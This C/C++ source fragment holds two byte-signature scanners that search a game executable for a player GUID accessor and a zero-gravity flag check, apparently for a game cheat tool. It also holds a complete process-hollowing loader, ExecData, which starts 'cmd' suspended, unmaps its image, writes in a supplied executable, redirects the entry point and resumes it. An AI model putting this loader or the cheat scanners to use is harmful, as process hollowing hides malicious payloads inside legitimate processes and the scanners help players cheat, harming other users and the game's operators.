VOID scanGetCharacterGuid_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan data section for "Player_C.h" for(DWORD dwDataIndex = 0; dwDataIndex < dwDataSize - (sizeof("Player_C.h") - 1); dwDataIndex++) { if(MemoryCompare(&pbData[dwDataIndex], (PBYTE)"Player_C.h", sizeof("Player_C.h") - 1)) { // found "Player_C.h", now scan for beginning of the string DWORD dwStringIndex; for(dwStringIndex = dwDataIndex - 1; dwStringIndex && pbData[dwStringIndex] >= 0x20 && pbData[dwStringIndex] <= 0x7E; dwStringIndex--); dwStringIndex++; // calculate va of found string DWORD dwStringVA = OffsetToRva(pbFile, PtrToUlong(pbData) + dwStringIndex - PtrToUlong(pbFile)); if(dwStringVA) { dwStringVA += pNtHdr->OptionalHeader.ImageBase; // scan code section for 'mov edx, dwStringVA' BYTE bMoveIns[5]; bMoveIns[0] = 0xBA; *((PDWORD)&bMoveIns[1]) = dwStringVA; for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - sizeof(bMoveIns); dwCodeIndex++) { if(MemoryCompare(&pbCode[dwCodeIndex], bMoveIns, sizeof(bMoveIns))) { // found mov instruction, make sure next instruction is 'mov ecx, constant' if(pbCode[dwCodeIndex + 5] == 0xB9) { // make sure instruction following 'mov ecx, constant' is a call relative if(pbCode[dwCodeIndex + 10] == 0xE8) { // somewhere before the 'mov edx, dwStringVA' instruction there must be this code: // call relative // push edx // push eax for(DWORD dwCodeIndex2 = dwCodeIndex - 2; dwCodeIndex - dwCodeIndex2 < 20; dwCodeIndex2--) { if(*((PWORD)&pbCode[dwCodeIndex2]) == 0x5052 && pbCode[dwCodeIndex2 - 5] == 0xE8) { // lastly check for a 'push constant' instruction before those two register pushes instruction for(DWORD dwCodeIndex3 = dwCodeIndex2 - 5; dwCodeIndex2 - dwCodeIndex3 < 20; dwCodeIndex3--) { if(pbCode[dwCodeIndex3] == 0x68) { // we need to decode the call relative preceeding the two register pushes // calculate va of next instruction following call DWORD dwFollowingVA = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex2 - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; if(dwFollowingVA) { GetPPD(iItem, hwndDlg)->dwValue = dwFollowingVA + *((PDWORD)&pbCode[dwCodeIndex2 - 4]); SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }
VOID scanZeroGravity_ScanProc(INT iItem, HWND hwndDlg, PBYTE pbFile) { PIMAGE_NT_HEADERS pNtHdr = PIMAGE_NT_HEADERS(pbFile + PIMAGE_DOS_HEADER(pbFile)->e_lfanew); PIMAGE_SECTION_HEADER pSecHdr = PIMAGE_SECTION_HEADER(pNtHdr + 1); PBYTE pbCode = RvaToPointer(pbFile, pSecHdr[0].VirtualAddress); DWORD dwCodeSize = pSecHdr[0].SizeOfRawData; PBYTE pbRData = RvaToPointer(pbFile, pSecHdr[1].VirtualAddress); DWORD dwRDataSize = pSecHdr[1].SizeOfRawData; PBYTE pbData = RvaToPointer(pbFile, pSecHdr[2].VirtualAddress); DWORD dwDataSize = pSecHdr[2].SizeOfRawData; SetItemStatus(iItem, hwndDlg, "Scanning..."); // scan for 'and reg, 75BFEDFF' for(DWORD dwCodeIndex = 0; dwCodeIndex < dwCodeSize - 6; dwCodeIndex++) { if(*((PDWORD)&pbCode[dwCodeIndex]) == 0x75BFEDFF && (pbCode[dwCodeIndex - 1] == 0x25 || ((pbCode[dwCodeIndex - 1] & 0xF8) == 0xE0 && pbCode[dwCodeIndex - 2] == 0x81))) { // search for long jump or call following and instruction for(DWORD dwCodeIndex2 = dwCodeIndex + 4; dwCodeIndex2 - dwCodeIndex < 20; dwCodeIndex2++) { if(pbCode[dwCodeIndex2] == 0xE9 || pbCode[dwCodeIndex2] == 0xE8) { // get offset of jump location DWORD dwJumpOffset = (dwCodeIndex2 + 5) + *((PDWORD)&pbCode[dwCodeIndex2 + 1]); // scan for 'test [reg+disp], 4000000h' for(DWORD dwCodeIndex3 = dwJumpOffset; dwCodeIndex3 - dwJumpOffset < 500; dwCodeIndex3++) { if(*((PDWORD)&pbCode[dwCodeIndex3]) == 0x04000000) { if(pbCode[dwCodeIndex3 - 3] == 0xF7) // short displacement { // find a je to this instruction for(DWORD dwCodeIndex4 = dwCodeIndex3 - 5; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--) { if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 3) - (dwCodeIndex4 + 2))) { // search for 'mov [reg+disp], reg' above the jump for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--) { if(pbCode[dwCodeIndex5] == 0x89) { // search for 'mov reg, [reg+disp] for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--) { if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38)) { GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } else if(pbCode[dwCodeIndex3 - 6] == 0xF7) // long displacement { // find a je to this instruction for(DWORD dwCodeIndex4 = dwCodeIndex3 - 8; dwCodeIndex4 >= dwJumpOffset; dwCodeIndex4--) { if(pbCode[dwCodeIndex4] == 0x74 && pbCode[dwCodeIndex4+1] == ((dwCodeIndex3 - 6) - (dwCodeIndex4 + 2))) { // search for mov '[reg+disp], reg' above the jump for(DWORD dwCodeIndex5 = dwCodeIndex4; dwCodeIndex5 >= dwJumpOffset; dwCodeIndex5--) { if(pbCode[dwCodeIndex5] == 0x89) { // search for 'mov reg, [reg+disp] for(DWORD dwCodeIndex6 = dwCodeIndex5; dwCodeIndex6 >= dwJumpOffset; dwCodeIndex6--) { if(pbCode[dwCodeIndex6] == 0x8B && (pbCode[dwCodeIndex6+1] & 0x38) == (pbCode[dwCodeIndex5+1] & 0x38)) { GetPPD(iItem, hwndDlg)->dwValue = OffsetToRva(pbFile, PtrToUlong(pbCode) + dwCodeIndex - PtrToUlong(pbFile)) + pNtHdr->OptionalHeader.ImageBase; SetItemStatus(iItem, hwndDlg, "Success"); return; } } } } } } } } } } } } } GetPPD(iItem, hwndDlg)->dwValue = 0; SetItemStatus(iItem, hwndDlg, "Fail"); }
HRESULT ExecData(PVOID &pvPEData) { HRESULT hr = S_OK; PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof si }; LPTSTR cmdLine = _tcsdup(TEXT("cmd")); CreateProcess(NULL, cmdLine, 0, 0, FALSE, CREATE_SUSPENDED, 0, 0, &si, &pi); CONTEXT context = { CONTEXT_INTEGER }; #ifndef DEFER_INJECT GetThreadContext(pi.hThread, &context); PVOID x; /* Dynamic linking call: */ HMODULE hMod = GetModuleHandle(L"ntdll.dll"); pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(hMod, "ZwUnmapViewOfSection"); hr = ReadProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &x, sizeof x, 0); if (FAILED(hr)) { /* This is bad, abort! */ return hr; } pZwUnmapViewOfSection(pi.hProcess, x); PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS( PCHAR(pvPEData) + PIMAGE_DOS_HEADER(pvPEData)->e_lfanew); DWORD dwLastError = ::GetLastError(); PVOID q = VirtualAllocEx(pi.hProcess, PVOID(nt->OptionalHeader.ImageBase), nt->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_WRITECOPY); WriteProcessMemory(pi.hProcess, q, pvPEData, nt->OptionalHeader.SizeOfHeaders, 0); PIMAGE_SECTION_HEADER sect = IMAGE_FIRST_SECTION(nt); for (ULONG i = 0; i < nt->FileHeader.NumberOfSections; i++) { WriteProcessMemory(pi.hProcess, PCHAR(q) + sect[i].VirtualAddress, PCHAR(pvPEData) + sect[i].PointerToRawData, sect[i].SizeOfRawData, 0); ULONG x; VirtualProtectEx(pi.hProcess, PCHAR(q) + sect[i].VirtualAddress, sect[i].Misc.VirtualSize, protect(sect[i].Characteristics), &x ); } WriteProcessMemory(pi.hProcess, PCHAR(context.Ebx) + 8, &q, sizeof q, 0); context.Eax = ULONG(q) + nt->OptionalHeader.AddressOfEntryPoint; #endif SetThreadContext(pi.hThread, &context); ResumeThread(pi.hThread); return hr; }